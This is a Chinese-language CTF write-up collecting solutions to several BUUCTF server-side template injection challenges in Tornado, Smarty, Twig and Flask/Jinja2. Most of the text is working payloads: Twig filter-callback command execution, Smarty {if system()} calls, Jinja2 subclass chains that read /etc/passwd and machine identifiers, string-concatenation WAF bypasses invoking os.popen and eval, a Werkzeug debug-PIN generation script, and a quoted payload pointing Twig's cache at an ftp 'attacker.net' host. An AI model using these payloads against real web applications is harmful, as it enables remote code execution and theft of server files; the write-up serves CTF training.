BUUCTF SSTI模板注入小结
服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题.
[护网杯 2018]easy_tornado
ssti注入点在msg
注入{{7*7}}出现orz应该是有过滤
{{1}}正常
hint里缺cookie_secret
该项在handler.settings
Handler这个对象,Handler指向的处理当前这个页面的RequestHandler对象
RequestHandler中并没有settings这个属性,与RequestHandler关联的Application对象(Requestion.application)才有setting这个属性
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
然后按hint里的MD5加密过后传参
?filename=/fllllllllllllag&filehash=ff92d5623223cadc00efabfc7676f9fe
filehash不同 请自行加密
[BJDCTF2020]The mystery of ip
注入点在flag.php的xff
源码:
<?php
require_once('header.php');
require_once('./libs/Smarty.class.php');
$smarty = new Smarty();
if (!empty($_SERVER['HTTP_CLIENT_IP']))
{
$ip=$_SERVER['HTTP_CLIENT_IP'];
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}
else
{
$ip=$_SERVER['REMOTE_ADDR'];
}
//$your_ip = $smarty->display("string:".$ip);
echo "<div class=\"container panel1\">
<div class=\"row\">
<div class=\"col-md-4\">
</div>
<div class=\"col-md-4\">
<div class=\"jumbotron pan\">
<div class=\"form-group log\">
<label><h2>Your IP is : ";
$smarty->display("string:".$ip);
echo " </h2></label>
</div>
</div>
</div>
<div class=\"col-md-4\">
</div>
</div>
</div>";
?>
cat🐱
[BJDCTF2020]Cookie is so stable
Twig 给我们提供了一个 _self, 虽然 _self 本身没有什么有用的方法,但是却有一个 env 如下图所示:
env是指属性Twig_Environment对象,Twig_Environment对象有一个
setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置(不知道为什么官方文档没有看到这个方法,后来我找到了Twig
的源码中的 environment.php 如下图所示:
因此,明显的攻击是通过将缓存位置设置为远程服务器来引入远程文件包含漏洞: payload:
{{_self.env.setCache(“ftp://attacker.net:2121”)}}
{{_self.env.loadTemplate(“backdoor”)}} 但是新的问题出现了,allow_url_include
一般是不打开的,没法包含远程文件,没关系还有个调用过滤器的函数 getFilter() 这个函数中调用了一个
call_user_function 方法
public function getFilter($ name) {
[snip]
foreach ($this->filterCallbacks as $ callback) {
if (false !== $ filter = call_user_func($ callback, $ name)) {//注意这行
return $ filter;
}
}
return false; }
public function registerUndefinedFilterCallback($callable) {
$this->filterCallbacks[] = $callable; }
我们只要把exec() 作为回调函数传进去就能实现命令执行了 payload:
{{_self.env.registerUndefinedFilterCallback(“exec”)}}
{{_self.env.getFilter(“id”)}}
原理:也就是说通过向registerUndefinedFilterCallback函数中传入exec,此函数将exec赋值给filterCallbacks[],然后调用getFilter函数,并传入参数name(此参数作为我们需要命令执行的传入的语句),然后将filterCallbacks[]的值取出来即exec赋给callback,再使用call_user_func函数进行调用,相当于执行了call_user_func(exec,name的值),也就是说调用了exec函数,并且将name参数的值作为exec函数的参数,造成了命令执行
原文链接
payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
[CISCN2019 华东南赛区]Web11
看最后build with smart
ssti
上面还很明显地给了xff
Smarty常用payload:
利用smarty的{if}条件
- {$smarty.version}查看smarty版本号
- {if phpinfo()}{/if}查看php信息
- {if system(‘ls /’)}{/if}查看根目录下的文件
- {if system(‘cat /flag’)}{/if}
- {if readfile(‘/flag’)}{/if}
- {if show_source(‘/flag’)}{/if}
[WesternCTF2018]shrine
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
看源码
有两个route
有用的是第二个
但是有黑名单 遍历为空
需要用py内置函数
url_for或get_flashed_messages
{{url_for.__globals__}}
看current_app的config试试
{{url_for.__globals__['current_app'].config}}
[GYCTF2020]FlaskApp
预期解
利用PIN码 实现flask debug模式下的终端rce
前几天看到篇flask pin码的 当时我以为很高深 就想以后再看 没想到这么快就用上了
PIN码生成的五要素
- flask所登录的用户名
- modname 一般是flask.appgetattr(app, “name”, app.class.name)。一般为Flask
- flask库下app.py的绝对路径 这个可以由报错信息看出
- 当前网络的mac地址的十进制数
- 机器的id。
1、通过/etc/password看用户名
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}
flaskweb
2、modname
上面说了
flask.app
3、绝对路径在尝试是ssti的时候
报错上就是绝对路径
4、mac地址
在/sys/class/net/eth0/address
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
按照大佬的指示
需要转成10进制
print(int('mac',16));
5、
对于非docker机每一个机器都会有自已唯一的id
linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i
有的系统没有这两个文件对于docker机则读取/proc/self/cgroup
其中/docker/字符串后面的内容作为机器的id(每一行都一样)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}
贴一个大佬的代码
用你的替换掉private_bits
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377864455',# str(uuid.getnode()), /sys/class/net/ens33/address
'ad4fc7650590f81ec6ab4e3a40f284a6b5a75454fcb50d6ee5347eba94a124c8'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
得到的PIN码
在报错界面点终端
然后就任你摆布了
非预期解
有waf
先读代码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
采用字符串拼接绕过waf(‘flag’ ‘import’ ‘os’)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
看到this_is_the_flag.txt
继续拼接绕过
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
[CSCCTF 2019 Qual]FlaskLight
寻找执行命可以借助的类
- 获取变量[]所属的类名 {{[].class}}
- 获取list所继承的基类{{[].class.base}}
- 获取所有继承自object的类 {{[].class.base.subclasses()}}
这些类也不熟悉
于是Ctrl + f
搜索如print warn read等和输出有关的词
<class ‘site._Printer’>
71位
<class ‘warnings.catch_warnings’>
59位
以site._Printer为例
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}
warnings.catch_warnings不含os
要用如下方法
shell部分自行更改
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('----shell-----').read()")}}